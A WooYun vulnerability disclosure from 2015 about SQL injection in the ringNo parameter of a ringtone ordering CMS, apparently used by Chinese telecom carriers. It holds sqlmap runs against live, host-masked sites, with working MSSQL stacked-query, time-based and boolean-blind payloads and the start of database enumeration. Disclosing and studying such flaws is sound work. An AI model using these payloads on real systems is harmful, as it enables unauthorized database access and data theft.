当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0144462

漏洞标题:某彩铃CMS存在SQL注入(可能涉及电信,联通)

相关厂商:cncert国家互联网应急中心

漏洞作者: 路人甲

提交时间:2015-10-06 10:39

修复时间:2016-01-11 15:32

公开时间:2016-01-11 15:32

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-06: 细节已通知厂商并且等待厂商处理中
2015-10-12: 厂商已经确认,细节仅向厂商公开
2015-10-15: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2015-12-06: 细节向核心白帽子及相关领域专家公开
2015-12-16: 细节向普通白帽子公开
2015-12-26: 细节向实习白帽子公开
2016-01-11: 细节向公众公开

简要描述:

6666666

详细说明:

可怕的延时注入不知道要跑到什么时候。
案例:
**.**.**.**/OrderRing.aspx?ringNo=9083600020140818138267&type=0&ProgCode=0007&Seed=84
**.**.**.**/musicclub/OrderRing.aspx?ringNo=830000002986&ringPackageNo=8888800120080303001&type=0&locationNo=0001
**.**.**.**/OrderRing.aspx?ringNo=051400021212&type=0&ProgCode=%E5%88%AB%E4%BA%BA%E6%AD%A3%E5%9C%A8%E5%90%AC
http://**.**.**.**/OrderRing.aspx?ringNo=810037308337&type=0&ProgCode=null&Seed=64
**.**.**.**/musicclub/OrderRing.aspx?ringNo=49900000000003590
http://**.**.**.**/OrderRing.aspx?ringNo=9000700020110901021043&type=0&ProgCode=null&Seed=413&returnUrl=http://**.**.**.**/search.aspx?type=0&keyword=waka%2520waka
参数ringNo=

QQ20151006-3@2x.png

漏洞证明:

E:\qy\sqlmapproject-sqlmap-b1d13d1>sqlmap.py -u "**.**.**.**/OrderRing
.aspx?ringNo=9083600020140818138267&type=0&ProgCode=0007&Seed=84"
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150213}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 00:56:51
[00:56:52] [INFO] testing connection to the target URL
[00:56:53] [WARNING] reflective value(s) found and filtering out
[00:56:53] [INFO] testing if the target URL is stable. This can take a couple of
seconds
[00:56:55] [INFO] target URL is stable
[00:56:55] [INFO] testing if GET parameter 'ringNo' is dynamic
[00:56:56] [WARNING] GET parameter 'ringNo' does not appear dynamic
[00:56:57] [WARNING] heuristic (basic) test shows that GET parameter 'ringNo' mi
ght not be injectable
[00:56:57] [INFO] testing for SQL injection on GET parameter 'ringNo'
[00:56:57] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:57:10] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[00:57:14] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[00:57:18] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[00:57:22] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[00:57:25] [INFO] testing 'MySQL inline queries'
[00:57:26] [INFO] testing 'PostgreSQL inline queries'
[00:57:27] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[00:57:27] [INFO] testing 'Oracle inline queries'
[00:57:28] [INFO] testing 'SQLite inline queries'
[00:57:29] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[00:57:32] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[00:57:35] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[00:57:48] [INFO] GET parameter 'ringNo' seems to be 'Microsoft SQL Server/Sybas
e stacked queries' injectable
[00:57:48] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[00:58:00] [INFO] GET parameter 'ringNo' seems to be 'Microsoft SQL Server/Sybas
e time-based blind' injectable
[00:58:00] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[00:58:00] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[00:58:12] [INFO] target URL appears to be UNION injectable with 9 columns
injection not exploitable with NULL values. Do you want to try with a random int
eger value for option '--union-char'? [Y/n]
[00:59:10] [WARNING] if UNION based SQL injection is not detected, please consid
er forcing the back-end DBMS (e.g. '--dbms=mysql')
[00:59:10] [INFO] checking if the injection point on GET parameter 'ringNo' is a
false positive
GET parameter 'ringNo' is vulnerable. Do you want to keep testing the others (if
any)? [y/N]
sqlmap identified the following injection points with a total of 131 HTTP(s) req
uests:
---
Parameter: ringNo (GET)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: ringNo=9083600020140818138267'; WAITFOR DELAY '0:0:5'--&type=0&Prog
Code=0007&Seed=84
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: ringNo=9083600020140818138267' WAITFOR DELAY '0:0:5'--&type=0&ProgC
ode=0007&Seed=84
---
[01:01:44] [INFO] testing Microsoft SQL Server
[01:01:44] [WARNING] it is very important not to stress the network adapter duri
ng usage of time-based payloads to prevent potential errors
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
'--time-sec')? [Y/n]
[01:01:52] [INFO] confirming Microsoft SQL Server
[01:02:04] [INFO] adjusting time delay to 2 seconds due to good response times
[01:02:05] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[01:02:05] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\**.**.**.**'
[*] shutting down at 01:02:05
E:\qy\sqlmapproject-sqlmap-b1d13d1>SQLMAP.PY -u "http://**.**.**.**/OrderRing.a
spx?ringNo=810034501006&type=0&ProgCode=0111&Seed=250" --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150213}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 22:10:45
[22:10:45] [INFO] testing connection to the target URL
[22:10:48] [WARNING] reflective value(s) found and filtering out
[22:10:48] [INFO] testing if the target URL is stable. This can take a couple of
seconds
[22:10:50] [WARNING] target URL is not stable. sqlmap will base the page compari
son on a sequence matcher. If no dynamic nor injectable parameters are detected,
or in case of junk results, refer to user's manual paragraph 'Page comparison'
and provide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit]
[22:10:51] [INFO] testing if GET parameter 'ringNo' is dynamic
[22:10:52] [INFO] confirming that GET parameter 'ringNo' is dynamic
[22:10:53] [INFO] GET parameter 'ringNo' is dynamic
[22:10:55] [WARNING] heuristic (basic) test shows that GET parameter 'ringNo' mi
ght not be injectable
[22:10:55] [INFO] testing for SQL injection on GET parameter 'ringNo'
[22:10:55] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[22:11:04] [INFO] GET parameter 'ringNo' seems to be 'AND boolean-based blind -
WHERE or HAVING clause' injectable
[22:11:07] [INFO] heuristic (extended) test shows that the back-end DBMS could b
e 'Microsoft SQL Server'
do you want to include all tests for 'Microsoft SQL Server' extending provided l
evel (1) and risk (1) values? [Y/n]
[22:11:52] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[22:11:52] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[22:11:53] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[22:11:53] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause (IN)'
[22:11:53] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[22:11:54] [INFO] testing 'Microsoft SQL Server/Sybase OR error-based - WHERE or
HAVING clause'
[22:11:55] [INFO] testing 'Microsoft SQL Server/Sybase OR error-based - WHERE or
HAVING clause (IN)'
[22:11:55] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Parameter r
eplace'
[22:11:55] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Parameter r
eplace (integer column)'
[22:11:55] [INFO] testing 'MySQL inline queries'
[22:11:55] [INFO] testing 'PostgreSQL inline queries'
[22:11:55] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[22:11:55] [INFO] testing 'Oracle inline queries'
[22:11:55] [INFO] testing 'SQLite inline queries'
[22:11:55] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[22:11:56] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[22:11:56] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[22:12:18] [INFO] GET parameter 'ringNo' seems to be 'Microsoft SQL Server/Sybas
e stacked queries' injectable
[22:12:18] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[22:12:40] [INFO] GET parameter 'ringNo' seems to be 'Microsoft SQL Server/Sybas
e time-based blind' injectable
[22:12:40] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[22:12:40] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[22:12:49] [INFO] target URL appears to be UNION injectable with 13 columns
injection not exploitable with NULL values. Do you want to try with a random int
eger value for option '--union-char'? [Y/n]
[22:21:05] [WARNING] if UNION based SQL injection is not detected, please consid
er forcing the back-end DBMS (e.g. '--dbms=mysql')
[22:21:05] [INFO] checking if the injection point on GET parameter 'ringNo' is a
false positive
GET parameter 'ringNo' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] n
sqlmap identified the following injection points with a total of 111 HTTP(s) req
uests:
---
Parameter: ringNo (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ringNo=810034501006' AND 7694=7694 AND 'PkFo'='PkFo&type=0&ProgCode
=0111&Seed=250
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: ringNo=810034501006'; WAITFOR DELAY '0:0:5'--&type=0&ProgCode=0111&
Seed=250
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: ringNo=810034501006' WAITFOR DELAY '0:0:5'--&type=0&ProgCode=0111&S
eed=250
---
[22:22:14] [INFO] testing Microsoft SQL Server
[22:22:15] [INFO] confirming Microsoft SQL Server
[22:22:20] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[22:22:20] [INFO] fetching database names
[22:22:20] [INFO] fetching number of databases
[22:22:20] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[22:22:20] [INFO] retrieved:
[22:22:28] [INFO] retrieved:
[22:22:28] [WARNING] it is very important not to stress the network adapter duri
ng usage of time-based payloads to prevent potential errors
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
'--time-sec')? [Y/n]
6
[22:31:42] [INFO] retrieved:
[22:31:58] [INFO] retrieved:mas

修复方案:

结构化查询

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2015-10-12 10:07

厂商回复:

CNVD确认所述情况,涉及案例,已经转由CNCERT同步向中国联通、中国电信集团公司通报,由其后续协调网站管理单位处置.

最新状态:

暂无